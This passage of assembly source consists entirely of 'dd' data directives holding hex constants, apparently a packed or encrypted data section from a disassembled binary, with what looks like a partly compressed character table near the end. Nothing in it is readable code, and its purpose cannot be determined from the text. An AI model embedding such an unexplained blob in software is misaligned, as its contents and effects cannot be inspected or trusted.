205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h dd 27E85082h, 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h dd 0DD530F1Fh, 28E7A65Ch dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h dd 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h dd 54046A00h, 37503056h, 0DF442568h, 16245500h, 420099BAh dd 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh, 80102903h dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h dd 55007EEBh, 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h dd 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h, 0E85CB227h dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h dd 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h, 168D0034h dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h, 331720F3h dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h dd 0FB0A8058h, 0FC00EA51h, 0A5666F64h, 0B191CEh, 117FB762h dd 0D3D52DE0h, 0F0466909h, 60558041h, 894831h, 5BB56FCCh dd 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh, 0C183040Ah, 1F2DF4CCh dd 3AFDBBh, 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh dd 0D61D655Ch, 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h dd 3C100055h, 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h dd 10203030h, 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h dd 5E50604h, 2B30487h, 9D09CB08h, 200C9C03h, 160EF80Dh dd 1A840090h, 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h dd 985C8A9h, 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah dd 0BB298267h, 2EAD812h, 7B8300A8h, 0F7F6114h, 7C00A522h dd 0B4496847h, 589C88h, 26961873h, 782F7024h, 0C748018h dd 7D6212h, 15235AF0h, 87B3850Fh, 0B614B17h, 0A6164307h dd 2470E471h, 719684FCh, 66D900A4h, 0A114B8FCh, 2500DA48h dd 658B378Dh, 32E0A95h, 0E81F39B9h, 16E02AA7h, 2098B464h dd 57335007h, 0C0C0BE8Bh, 3AC4443Ah, 3DBC990Bh, 4210C883h dd 0B5F87DCCh, 522D0DD0h, 7F5500D4h, 1F883386h, 0A1AC44h dd 8DCABCE4h, 89E82410h, 96633401h, 5AEB2948h, 0E9490D4h dd 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h, 0C1F317Eh, 95D8102h dd 265C80CCh, 0E0696285h, 6E606E22h, 0A702A68Ah, 0BA8918C9h dd 4963E003h, 3CB700BEh, 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h dd 0B327ED7Ah, 8343077Ch, 39EFC89h, 0C2B8D00Bh, 0CB0103FDh dd 74917208h, 3430641Dh, 2273002Ch, 0EFA85EC3h, 0F400553Bh dd 5969CCA7h, 17D73017h, 0FDED83h, 0E1E0DD7Dh, 0A176F001h dd 7D0B6600h, 855EA488h, 5D4000A5h, 38FF4C15h, 61DB292h dd 0BE004657h, 8835905h, 0C99407F0h, 0F7CDDBh, 8257E815h dd 0F6B82503h, 0B0216ACAh dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h dd 2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh, 282DF876h, 317FFF00h dd 86730232h, 0F3E11CC8h, 0B48D007Eh, 4AA87449h, 66FC400Fh dd 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h, 0FB80009Bh, 0BC37401h dd 9007704h, 6C30BFF3h, 7EB03Bh, 1AB8B302h, 4F9D140Dh dd 2F588E0Fh, 8C44A0A1h, 10917BEh, 763352A3h, 0E011D825h dd 88028F4Bh, 0AAC81B1h, 2B57E0C0h, 0C3B01F82h, 86E64084h dd 2D3D1480h, 6D55AA12h, 0E04DFC0Fh, 0CA83BE5h, 11F007Fh dd 7CFDF983h, 0C97E0B1Ah, 4E861C00h, 4A3E80AAh, 0A0401F27h dd 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h, 8F42C311h, 19740091h dd 2F8E2C5h, 8A001508h, 6623A2E0h, 0A20E86ABh, 2A54C0C3h dd 4081007Fh, 0E3FE3306h, 2B00F225h, 5EAB6293h, 0F48A0B14h dd 8B8C0F29h, 116049D2h, 2BB48719h, 86081C01h, 27204EAh dd 0EB09330h, 0E65D8A45h, 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch dd 90E2EBC0h, 83067Dh, 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h dd 8B5092AAh, 32DC61h, 258C35F7h, 5B23F1Dh, 49430A01h dd 0ED15D50Bh, 8BE980E7h, 0AA040709h, 10F8DC3Bh, 4B735852h dd 830E0F98h, 0A01D12FAh, 5638BA05h, 496F00E2h, 0EB04D6B5h dd 0DB013328h, 0E03A8889h, 48C0C11Dh, 0F60300B3h, 43DC8AF3h dd 1488EACh, 4B0D002Dh, 3DA0F475h, 0C57C031Eh, 4AEAEB32h dd 0C3FF1AA8h, 3C2EE358h, 0C058073h, 27F97541h, 26CF072Bh dd 708EC3F7h, 81891D8Ah, 46A43200h, 220B6452h, 0F211CF1h dd 0D93A0004h, 0E9027F76h, 8DDDCC00h, 1A9B9C09h, 0C9241790h dd 48F805h, 1E74D03Ch, 7E537651h, 7A293B48h, 0AE92AA8h dd 3E80C8Ch, 0F7CC0784h, 595B407Fh, 0E2014312h, 0AC0BEBDCh dd 7DC04A35h, 5C00041h, 0EADFC42Bh, 26B8B701h, 0BA402A00h dd 0BDE7602h, 1720029Bh, 289958F7h, 2DFDACE0h, 831A473Fh dd 0F97E05D4h, 0EB48DBB6h dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh dd 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h dd 374272Ch, 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h dd 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah dd 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h, 1EDBFE01h dd 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h, 3E60CB00h dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h dd 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah dd 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h dd 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh dd 42E4F178h, 1C0E397Eh, 0E7760410h, 0A8340E1h, 2B110082h dd 5025D453h, 8B0BB273h, 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh dd 1318960h, 0F71EE3DBh, 408A07D0h, 97C1FF8Fh, 0D80E1879h dd 0D108B3h, 350573E0h, 71060B41h, 70809DDBh, 0ACE6E2F3h dd 85C33803h, 0B9038B61h, 53F8F420h, 1F30E618h, 3085DF2h dd 98DB0CE6h, 0F410E099h, 8D122E7Ch, 0E0E3353h, 0E7D140B0h dd 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h, 76F68500h, 3C647163h dd 0CAE029h, 0EEE0E9C1h, 35FF983h, 1F7E800h, 0E78166FAh dd 0BA0F00FFh, 2CE5C26h, 0C7003BF8h, 9DD02177h, 10CDF5h dd 4E14069Fh, 0E09373FAh, 0B507247Eh, 47E88801h, 0C5BF023Bh dd 0EB3FC07Eh, 212C011Ch, 1F0F5372h, 0CC10E4C6h, 4E0002E0h dd 0B8B9D75h, 0E498C985h, 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah dd 0E54EB014h, 2BA9008Ch, 4C770CBAh, 0DAB8177Dh, 0C2690145h dd 30080110h, 0CE1F71A7h, 3ABE5920h, 16378099h, 0B1438D27h dd 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h, 0C73CA876h dd 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h, 71C2F002h dd 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h, 0CEB3201h dd 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h, 0B657700h dd 75676B5h, 5478ABh, 9D7B22BBh, 0BFAE3CECh, 0B10C7000h dd 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah, 0FED0845Fh dd 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h, 11005653h dd 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h, 8A225500h dd 0BDEAF8FCh, 759F008Bh, 5334AA87h, 0C7027C8Dh, 0CA1E88A3h dd 840740C3h, 28A00D5h, 274307ECh, 0DE004647h, 7570B033h dd 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h, 0F13E0649h dd 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h, 5711DCh dd 40478014h, 0D97B754Bh dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h dd 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h, 904EF815h dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch dd 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h, 7388E867h dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch dd 33001571h, 